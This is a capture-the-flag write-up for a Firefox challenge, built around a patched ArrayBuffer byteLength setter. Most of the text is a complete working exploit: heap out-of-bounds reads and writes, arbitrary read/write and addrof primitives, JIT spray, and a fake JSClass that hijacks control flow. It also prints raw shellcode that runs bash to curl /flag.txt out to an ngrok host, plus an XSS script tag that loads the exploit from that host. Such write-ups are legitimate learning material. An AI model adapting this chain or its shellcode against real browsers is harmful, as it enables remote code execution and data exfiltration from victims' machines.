Midenios

Midenios was a browser exploitation challenge featuring a heap OOB on firefox

Files

Heap OOB

diff --git a/js/src/vm/ArrayBufferObject.cpp b/js/src/vm/ArrayBufferObject.cpp
--- a/js/src/vm/ArrayBufferObject.cpp
+++ b/js/src/vm/ArrayBufferObject.cpp
@@ -336,7 +336,7 @@ static const JSFunctionSpec arraybuffer_
     JS_SELF_HOSTED_FN("slice", "ArrayBufferSlice", 2, 0), JS_FS_END};
 
 static const JSPropertySpec arraybuffer_proto_properties[] = {
-    JS_PSG("byteLength", ArrayBufferObject::byteLengthGetter, 0),
+    JS_PSGS("byteLength", ArrayBufferObject::byteLengthGetter, ArrayBufferObject::byteLengthSetter, 0),
     JS_STRING_SYM_PS(toStringTag, "ArrayBuffer", JSPROP_READONLY), JS_PS_END};
 
 static const ClassSpec ArrayBufferObjectClassSpec = {
@@ -377,12 +377,50 @@ MOZ_ALWAYS_INLINE bool ArrayBufferObject
   return true;
 }
 
+MOZ_ALWAYS_INLINE bool ArrayBufferObject::byteLengthSetterImpl(
+    JSContext* cx, const CallArgs& args) {
+  MOZ_ASSERT(IsArrayBuffer(args.thisv()));
+
+  // Steps 1-2
+  auto* buffer = &args.thisv().toObject().as<ArrayBufferObject>();
+  if (buffer->isDetached()) {
+    JS_ReportErrorNumberASCII(cx, GetErrorMessage, nullptr,
+                              JSMSG_TYPED_ARRAY_DETACHED);
+    return false;
+  }
+
+  // Step 3
+  double targetLength;
+  if (!ToInteger(cx, args.get(0), &targetLength)) {
+    return false;
+  }
+
+  if (buffer->isDetached()) { // Could have been detached during argument processing
+    JS_ReportErrorNumberASCII(cx, GetErrorMessage, nullptr,
+                              JSMSG_TYPED_ARRAY_DETACHED);
+    return false;
+  }
+
+  // Step 4
+  buffer->setByteLength(targetLength);
+
+  args.rval().setUndefined();
+  return true;
+}
+
 bool ArrayBufferObject::byteLengthGetter(JSContext* cx, unsigned argc,
                                          Value* vp) {
   CallArgs args = CallArgsFromVp(argc, vp);
   return CallNonGenericMethod<IsArrayBuffer, byteLengthGetterImpl>(cx, args);
 }
 
+bool ArrayBufferObject::byteLengthSetter(JSContext* cx, unsigned argc,
+                                         Value* vp) {
+  CallArgs args = CallArgsFromVp(argc, vp);
+  return CallNonGenericMethod<IsArrayBuffer, byteLengthSetterImpl>(cx, args);
+}
+
+
 /*
  * ArrayBuffer.isView(obj); ES6 (Dec 2013 draft) 24.1.3.1
  */
@@ -1000,7 +1038,7 @@ inline size_t ArrayBufferObject::associa
 }
 
 void ArrayBufferObject::setByteLength(size_t length) {
-  MOZ_ASSERT(length <= maxBufferByteLength());
+//  MOZ_ASSERT(length <= maxBufferByteLength());
   setFixedSlot(BYTE_LENGTH_SLOT, PrivateValue(length));
 }
 
diff --git a/js/src/vm/ArrayBufferObject.h b/js/src/vm/ArrayBufferObject.h
--- a/js/src/vm/ArrayBufferObject.h
+++ b/js/src/vm/ArrayBufferObject.h
@@ -166,6 +166,7 @@ using MutableHandleArrayBufferObjectMayb
  */
 class ArrayBufferObject : public ArrayBufferObjectMaybeShared {
   static bool byteLengthGetterImpl(JSContext* cx, const CallArgs& args);
+  static bool byteLengthSetterImpl(JSContext* cx, const CallArgs& args);
 
  public:
   static const uint8_t DATA_SLOT = 0;
@@ -337,6 +338,7 @@ class ArrayBufferObject : public ArrayBu
   static const JSClass protoClass_;
 
   static bool byteLengthGetter(JSContext* cx, unsigned argc, Value* vp);
+  static bool byteLengthSetter(JSContext* cx, unsigned argc, Value* vp);
 
   static bool fun_isView(JSContext* cx, unsigned argc, Value* vp);

The challenge consists of a firefox build patched to contain a bug. We can see that it implements a setter function to ArrayBuffer.length, which is very suspecious in itself:

-    JS_PSG("byteLength", ArrayBufferObject::byteLengthGetter, 0),
+    JS_PSGS("byteLength", ArrayBufferObject::byteLengthGetter, ArrayBufferObject::byteLengthSetter, 0),

If we check the implementation we can see that what it does is pretty much set the length field of the ArrayBuffer object to an arbitrary value:

+  // Steps 1-2
+  auto* buffer = &args.thisv().toObject().as<ArrayBufferObject>();
+  if (buffer->isDetached()) {
+    JS_ReportErrorNumberASCII(cx, GetErrorMessage, nullptr,
+                              JSMSG_TYPED_ARRAY_DETACHED);
+    return false;
+  }
+
+  // Step 3
+  double targetLength;
+  if (!ToInteger(cx, args.get(0), &targetLength)) {
+    return false;
+  }
+
+  if (buffer->isDetached()) { // Could have been detached during argument processing
+    JS_ReportErrorNumberASCII(cx, GetErrorMessage, nullptr,
+                              JSMSG_TYPED_ARRAY_DETACHED);
+    return false;
+  }
+
+  // Step 4
+  buffer->setByteLength(targetLength);
+
+  args.rval().setUndefined();
+  return true;
+}
  • Steps 1-2 get the address of the desired object

  • Step 3 reads the desired address from the first argument of the setter function

  • Step 4 set the value at the length field to th arbitrary value

This is obviously very problematic. ArrayBuffers can be used instanciate TypedArray objects with size = length of the TypedArray. Which means we can allocate ArrayBuffers and read/write them out of range.

Corrupt ArrayBuffer AR/AW/Addrof

To understand how to convert the heap oob bug into powerful primitives, it's good to have a better look at the ArrayBuffer and JSObject classes. I found this awesome reference online:

Also, notice that firefox uses jemalloc as memory allocator:

pagejemalloc

So if we want to get our hands on some ArrayBuffer metadata, we need to allocate OOB objects with sizes such as they get allocated in the same region as the ArrayBuffer metadata objects.

// Create OOB objects
objs = []
for (let _ = 0; _ < 64; _++){
    tmp = new ArrayBuffer(0x48)

    // Trigger OOB
    tmp.byteLength = 0x800000
    objs.push(tmp)
}

corruptor = new BigUint64Array(objs[0])
corruptor[0] = 0xdeadbeefcafebaben
corrupted = objs[1]

Notice that if we access objs[0]'s data out-of-bounds we can fully control the ArrayBuffer metadata of objs[1]. Once we control the ArrayBuffer object we can achieve AR/AW primitives through the data ptr and instantiating TypedArrays off of those objects

It we use our OOB write primitive to overwrite objs[1] ArrayBuffer data ptr we can make it point to arbitrary memory. Then, if we instantiate a TypedArray object out of objs[1] we can use the new TypedArray to read/write arbitrary memory.

If we assign a JSObject as a property of an ArrayBuffer, we can expect to see the JSObject pointer in the _slots member, which is an array that contains all properties of an object. If we combine this with our arb read primitive we are able to get the address of any object that we want.

Abusing those primitives we can write a few function to perform AR/AW/Addrof:

// Primitives
function arbwrite64(addr, val){
    corruptor[0x78/8] = addr
    corr_arr = new BigUint64Array(corrupted)
    corr_arr[0] = val
}
function arbwrite8(addr, val){
    corruptor[0x78/8] = addr
    corr_arr = new Uint8Array(corrupted)
    corr_arr[0] = val
}
function arbread64(addr){
    corruptor[0x78/8] = addr
    corr_arr = new BigUint64Array(corrupted)
    return corr_arr[0]
}
function arbread8(addr){
    corruptor[0x78/8] = addr
    corr_arr = new Uint8Array(corrupted)
    return corr_arr[0]
}
function addrof(obj){
    corrupted.leak = obj
    slot_arr = corruptor[0x68/8]
    return arbread64(slot_arr) & 0xffffffffffffn
}

JIT spray

After we have our memory primitives we need to somehow abuse them to execute arbitrary code. One way of doing this is doing JIT spray, which simply consists in writing code such that when it is compiled by the JIT compiler it will reflect some controled values. The entire point of doing this is that those values will be user controlled bytes that are written into executable memory. I used the JIT spray technique before in the Smuggler's Cove challenge from Defcon Quals 2022:

pageSmuggler's Cove

There is also this great reference about JIT spray in SpiderMonkey:

I ended up using the same JIT payload from this CVE-2019-11707 exploit:

    // JIT spray https://github.com/vigneshsrao/CVE-2019-11707/blob/master/exploit.js#L196
    function jitme_daddy () {
        const magic = 4.183559446463817e-216

        const g1 = 1.4501798452584495e-277
        const g2 = 1.4499730218924257e-277
        const g3 = 1.4632559875735264e-277
        const g4 = 1.4364759325952765e-277
        const g5 = 1.450128571490163e-277
        const g6 = 1.4501798485024445e-277
        const g7 = 1.4345589835166586e-277
        const g8 = 1.616527814e-314
    }
    for (i=0;i<100000;i++) jitme_daddy()

The shellcode generated by this function when JIT compiled mprotects the shellcode pointeded by the rcx register and jumps to it, so we can use to load any shellcode we want.

We can use the addrof primitive to get the address of the JSFunction:

        // Find code page
        jit_addr = addrof(jitme_daddy)
        while(1){
            jit_addr = addrof(jitme_daddy)
            if ((jit_addr & 0xffffff000000n) == (slot_leak & 0xffffff000000n)){
                break
            }
        }
        console.log('Jit func: 0x' + jit_addr.toString(16))
        code_ptr = arbread64(jit_addr+0x28n)
        code_page = arbread64(code_ptr) & 0xfffffffffffff000n - 0x6000n
        console.log('Code page: 0x' + code_page.toString(16))

Notice that the JSFunction object does not have a pointer to the exact address where the machine code is, but a pointer to somewhere else in the page, so we need to scan the page to find the shellcode. That's where the magic constant comes into play:

const magic = 4.183559446463817e-216

This constant is a double that after code is jitted compiled it reflects into memory as 0x1337133713371337 so we can just look for this value using our arbitrary read to scan the code page.

        // Find shellcode
        code = new Uint8Array(0xc000 - 8)
        for(let i = 0; i < 0xc000 - 8; i++){
            code[i] = arbread8(code_page+BigInt(i))
        }

        jit_off = -1;
        for (let i = 0; i < 0xc000 - 8; i++) {
            if (code[i] == 0x37 && code[i + 1] == 0x13 && code[i + 2] == 0x37
                && code[i + 3] == 0x13 && code[i + 4] == 0x37 && code[i + 5] == 0x13
                && code[i + 6] == 0x37 && code[i + 7] == 0x13) {
                    jit_off = i + 14;
                    break;
            }
        }

        jit_shellcode = code_page + BigInt(jit_off)
        console.log('Jit shellcode: 0x' + jit_shellcode.toString(16))

Ok, so now that we found our shellcode constants reflected into memory we need to figure out a way to execute the first gadget + control rcx immediately before jumping.

Hijack control flow

Now let's take an even deeper look at JSObject and ArrayBuffer. So we can understand a neat trick to do what we want. The same blog posts we can refer to for JIT spray also has some useful technique to hijack control flow:

Notice that any object is an instance of a class, obviously. So in a similar way that C++ objects have a pointer to their classes vtable, any JSObject object is associated to a JSclass object that is used to lookup stuff like what to the implementation of each method.

In a few derefs we can get to the operatations of the JSClass of our object, which means we can overwrite them and change the behaviour for manipulating that object, assinging properties, etc.

Finally we can create a fake class and change the assignProperty function pointer to our jit shellcode, so we can call it, notice that the value being assigned to the property in javascript will have a pointer in rcx when addProperty be called, so we have met the contraints for our jit

    // Build fake class
    shellcode_addr = addrof(shellcode)
    for(let i = 0; i < 16384; i++){
        shellcode_addr = addrof(shellcode)
    }
    console.log('Shellcode : 0x' + shellcode_addr.toString(16))
    shellcode_group = arbread64(shellcode_addr)
    shellcode_groupval = arbread64(shellcode_group)
    shellcode_class = arbread64(shellcode_groupval)
    shellcode_ops = arbread64(shellcode_class + 0x10n)
    shellcode_data = arbread64(shellcode_addr + 0x30n)

    fake_class = new BigUint64Array(48)
    fakeclass_addr = addrof(fake_class)
    for(let i = 0; i < 16384; i++){
        fakeclass_addr = addrof(fake_class)
    }

    fake_class_buffer = arbread64(fakeclass_addr + 0x30n);
    for (let i = 0; i < 6; i++) {
        fake_class[i] = arbread64(shellcode_class + BigInt(i) * 8n)
    }

    fake_ops = new BigUint64Array(88)
    fakeops_addr = addrof(fake_ops)
    for(let i = 0; i < 16384; i++){
        fakeops_addr = addrof(fake_ops)
    }

    fake_ops_buffer = arbread64(fakeops_addr + 0x30n)
    for (let i = 0; i < 11; i++) {
        fake_ops[i] = arbread64(shellcode_ops + BigInt(i) * 8n)
    }

    fake_ops[0] = jit_shellcode
    fake_class[2] = fake_ops_buffer
    arbwrite64(shellcode_groupval, fake_class_buffer)

    // Trigger payload
    shellcode.trigger = i2d(shellcode_data)

Final exploit

My shellcode simply reads the flag and sends it to my webhook:

    // /bin/bash -c "curl http://7568-73-210-47-221.ngrok.io/\`cat /flag.txt|base64 -w0\`"
    shellcode = new Uint8Array(
        [
            0x48,0x8d,0x35,0xdd,0x00,0x00,0x00,0x48,0x8d,0x05,0xd6,0x00,0x00,0x00,0x48,0x8d,
            0x0d,0xeb,0xff,0xff,0xff,0x48,0x39,0xf0,0x73,0x18,0x66,0x0f,0x1f,0x44,0x00,0x00,
            0x48,0x8b,0x10,0x48,0x83,0xc0,0x18,0x48,0x01,0xca,0x48,0x01,0x0a,0x48,0x39,0xf0,
            0x72,0xee,0x31,0xc0,0xe9,0x07,0x00,0x00,0x00,0x0f,0x1f,0x80,0x00,0x00,0x00,0x00,
            0x48,0x8d,0x3d,0x4a,0x00,0x00,0x00,0x48,0x8d,0x05,0x4d,0x00,0x00,0x00,0x48,0xc7,
            0x44,0x24,0xf0,0x00,0x00,0x00,0x00,0x66,0x48,0x0f,0x6e,0xc8,0x66,0x48,0x0f,0x6e,
            0xc7,0x48,0x8d,0x74,0x24,0xd8,0x48,0xc7,0x44,0x24,0xd0,0x00,0x00,0x00,0x00,0x66,
            0x0f,0x6c,0xc1,0x48,0x8d,0x05,0x26,0x00,0x00,0x00,0x48,0x8d,0x54,0x24,0xd0,0x48,
            0x89,0x44,0x24,0xe8,0xb8,0x3b,0x00,0x00,0x00,0x0f,0x29,0x44,0x24,0xd8,0x0f,0x05,
            0xc3,0x2f,0x62,0x69,0x6e,0x2f,0x62,0x61,0x73,0x68,0x00,0x2d,0x63,0x00,0x66,0x90,
            0x63,0x75,0x72,0x6c,0x20,0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x66,0x32,0x39,
            0x37,0x2d,0x37,0x33,0x2d,0x32,0x31,0x30,0x2d,0x34,0x37,0x2d,0x32,0x32,0x31,0x2e,
            0x6e,0x67,0x72,0x6f,0x6b,0x2e,0x69,0x6f,0x2f,0x60,0x63,0x61,0x74,0x20,0x2f,0x66,
            0x6c,0x61,0x67,0x2e,0x74,0x78,0x74,0x7c,0x62,0x61,0x73,0x65,0x36,0x34,0x20,0x2d,
            0x77,0x30,0x60,0x00
        ]
    )

notice that the entrypoint for us to load our javascript exploit is a very simple xss so I just used a simple payload:

<script src=https://7568-73-210-47-221.ngrok.io/exploit.js></script> Here is what my final exploit looks like:

// Bit-cast an uint64_t to a float64
converter = new ArrayBuffer(8);
u64view = new BigUint64Array(converter);
f64view = new Float64Array(converter);
function i2d(x) {
    u64view[0] = x;
    return f64view[0];
}

// Create OOB objects
objs = []
for (let _ = 0; _ < 64; _++){
    tmp = new ArrayBuffer(0x48)

    // Trigger OOB
    tmp.byteLength = 0x800000
    objs.push(tmp)
}

corruptor = new BigUint64Array(objs[0])
corruptor[0] = 0xdeadbeefcafebaben
corrupted = objs[1]

// Leak slot
slot_leak = corruptor[0x78/8]
console.log('Slot leak: 0x' + slot_leak.toString(16))

// Primitives
function arbwrite64(addr, val){
    corruptor[0x78/8] = addr
    corr_arr = new BigUint64Array(corrupted)
    corr_arr[0] = val
}
function arbwrite8(addr, val){
    corruptor[0x78/8] = addr
    corr_arr = new Uint8Array(corrupted)
    corr_arr[0] = val
}
function arbread64(addr){
    corruptor[0x78/8] = addr
    corr_arr = new BigUint64Array(corrupted)
    return corr_arr[0]
}
function arbread8(addr){
    corruptor[0x78/8] = addr
    corr_arr = new Uint8Array(corrupted)
    return corr_arr[0]
}
function addrof(obj){
    corrupted.leak = obj
    slot_arr = corruptor[0x68/8]
    return arbread64(slot_arr) & 0xffffffffffffn
}

// JIT spray https://github.com/vigneshsrao/CVE-2019-11707/blob/master/exploit.js#L196
function jitme_daddy () {
    const magic = 4.183559446463817e-216

    const g1 = 1.4501798452584495e-277
    const g2 = 1.4499730218924257e-277
    const g3 = 1.4632559875735264e-277
    const g4 = 1.4364759325952765e-277
    const g5 = 1.450128571490163e-277
    const g6 = 1.4501798485024445e-277
    const g7 = 1.4345589835166586e-277
    const g8 = 1.616527814e-314
}
for (i=0;i<100000;i++) jitme_daddy()

window.onload = function() {

    // Find code page
    jit_addr = addrof(jitme_daddy)
    while(1){
        jit_addr = addrof(jitme_daddy)
        if ((jit_addr & 0xffffff000000n) == (slot_leak & 0xffffff000000n)){
            break
        }
    }
    console.log('Jit func: 0x' + jit_addr.toString(16))
    code_ptr = arbread64(jit_addr+0x28n)
    code_page = arbread64(code_ptr) & 0xfffffffffffff000n - 0x6000n
    console.log('Code page: 0x' + code_page.toString(16))

    // Find shellcode
    code = new Uint8Array(0xc000 - 8)
    for(let i = 0; i < 0xc000 - 8; i++){
        code[i] = arbread8(code_page+BigInt(i))
    }

    jit_off = -1;
    for (let i = 0; i < 0xc000 - 8; i++) {
        if (code[i] == 0x37 && code[i + 1] == 0x13 && code[i + 2] == 0x37
            && code[i + 3] == 0x13 && code[i + 4] == 0x37 && code[i + 5] == 0x13
            && code[i + 6] == 0x37 && code[i + 7] == 0x13) {
                jit_off = i + 14;
                break;
        }
    }

    jit_shellcode = code_page + BigInt(jit_off)
    console.log('Jit shellcode: 0x' + jit_shellcode.toString(16))

    // /bin/bash -c "curl http://7568-73-210-47-221.ngrok.io/\`cat /flag.txt|base64 -w0\`"
    shellcode = new Uint8Array(
        [
            0x48,0x8d,0x35,0xdd,0x00,0x00,0x00,0x48,0x8d,0x05,0xd6,0x00,0x00,0x00,0x48,0x8d,
            0x0d,0xeb,0xff,0xff,0xff,0x48,0x39,0xf0,0x73,0x18,0x66,0x0f,0x1f,0x44,0x00,0x00,
            0x48,0x8b,0x10,0x48,0x83,0xc0,0x18,0x48,0x01,0xca,0x48,0x01,0x0a,0x48,0x39,0xf0,
            0x72,0xee,0x31,0xc0,0xe9,0x07,0x00,0x00,0x00,0x0f,0x1f,0x80,0x00,0x00,0x00,0x00,
            0x48,0x8d,0x3d,0x4a,0x00,0x00,0x00,0x48,0x8d,0x05,0x4d,0x00,0x00,0x00,0x48,0xc7,
            0x44,0x24,0xf0,0x00,0x00,0x00,0x00,0x66,0x48,0x0f,0x6e,0xc8,0x66,0x48,0x0f,0x6e,
            0xc7,0x48,0x8d,0x74,0x24,0xd8,0x48,0xc7,0x44,0x24,0xd0,0x00,0x00,0x00,0x00,0x66,
            0x0f,0x6c,0xc1,0x48,0x8d,0x05,0x26,0x00,0x00,0x00,0x48,0x8d,0x54,0x24,0xd0,0x48,
            0x89,0x44,0x24,0xe8,0xb8,0x3b,0x00,0x00,0x00,0x0f,0x29,0x44,0x24,0xd8,0x0f,0x05,
            0xc3,0x2f,0x62,0x69,0x6e,0x2f,0x62,0x61,0x73,0x68,0x00,0x2d,0x63,0x00,0x66,0x90,
            0x63,0x75,0x72,0x6c,0x20,0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x66,0x32,0x39,
            0x37,0x2d,0x37,0x33,0x2d,0x32,0x31,0x30,0x2d,0x34,0x37,0x2d,0x32,0x32,0x31,0x2e,
            0x6e,0x67,0x72,0x6f,0x6b,0x2e,0x69,0x6f,0x2f,0x60,0x63,0x61,0x74,0x20,0x2f,0x66,
            0x6c,0x61,0x67,0x2e,0x74,0x78,0x74,0x7c,0x62,0x61,0x73,0x65,0x36,0x34,0x20,0x2d,
            0x77,0x30,0x60,0x00
        ]
    )

    // Build fake class
    shellcode_addr = addrof(shellcode)
    for(let i = 0; i < 16384; i++){
        shellcode_addr = addrof(shellcode)
    }
    console.log('Shellcode : 0x' + shellcode_addr.toString(16))
    shellcode_group = arbread64(shellcode_addr)
    shellcode_groupval = arbread64(shellcode_group)
    shellcode_class = arbread64(shellcode_groupval)
    shellcode_ops = arbread64(shellcode_class + 0x10n)
    shellcode_data = arbread64(shellcode_addr + 0x30n)

    fake_class = new BigUint64Array(48)
    fakeclass_addr = addrof(fake_class)
    for(let i = 0; i < 16384; i++){
        fakeclass_addr = addrof(fake_class)
    }

    fake_class_buffer = arbread64(fakeclass_addr + 0x30n);
    for (let i = 0; i < 6; i++) {
        fake_class[i] = arbread64(shellcode_class + BigInt(i) * 8n)
    }

    fake_ops = new BigUint64Array(88)
    fakeops_addr = addrof(fake_ops)
    for(let i = 0; i < 16384; i++){
        fakeops_addr = addrof(fake_ops)
    }

    fake_ops_buffer = arbread64(fakeops_addr + 0x30n)
    for (let i = 0; i < 11; i++) {
        fake_ops[i] = arbread64(shellcode_ops + BigInt(i) * 8n)
    }

    fake_ops[0] = jit_shellcode
    fake_class[2] = fake_ops_buffer
    arbwrite64(shellcode_groupval, fake_class_buffer)

    // Trigger payload
    shellcode.trigger = i2d(shellcode_data)
}

Last updated